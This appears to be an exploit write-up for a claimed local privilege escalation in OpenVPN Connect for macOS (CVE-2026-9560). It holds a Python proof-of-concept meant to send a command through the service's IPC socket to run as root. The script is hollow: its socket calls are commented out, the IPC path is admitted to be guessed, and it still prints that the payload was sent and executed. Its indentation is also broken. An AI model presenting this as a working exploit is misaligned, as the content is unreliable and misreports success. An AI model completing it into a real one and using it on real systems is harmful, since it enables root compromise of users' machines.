Privilege escalation via background service of OpenVPN Connect 3.5.1 through 3.8.1 on macOS allows attackers to execute arbitrary commands with elevated privileges via local IPC channel
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
PoC for CVE-2026-9560 (OpenVPN Connect Privilege Escalation)
This script demonstrates the concept of sending a malicious payload
via the local IPC channel to execute arbitrary commands.
"""
import socket
import struct
import sys
def send_ipc_payload(command):
# Simulating the IPC connection to the OpenVPN background service
# In a real scenario, the address and protocol would match the specific implementation
IPC_ADDRESS = '/var/run/openvpn_connect_ipc'
try:
print(f"[*] Attempting to connect to IPC service at {IPC_ADDRESS}...")
# sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
# sock.connect(IPC_ADDRESS)
# Constructing the malicious payload
# Structure: [Command Length][Command Data]
payload = command.encode('utf-8')
msg = struct.pack('>I', len(payload)) + payload
print(f"[*] Sending payload: {command}")
# sock.sendall(msg)
# Simulating response
# response = sock.recv(1024)
print("[+] Payload sent successfully.")
print("[+] If vulnerable, the command was executed with root privileges.")
# sock.close()
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
# The payload executes a simple command to verify root access
# e.g., creating a file in /root or launching a shell
target_cmd = "/bin/bash -c 'whoami > /tmp/poc_root_check.txt'"
send_ipc_payload(target_cmd)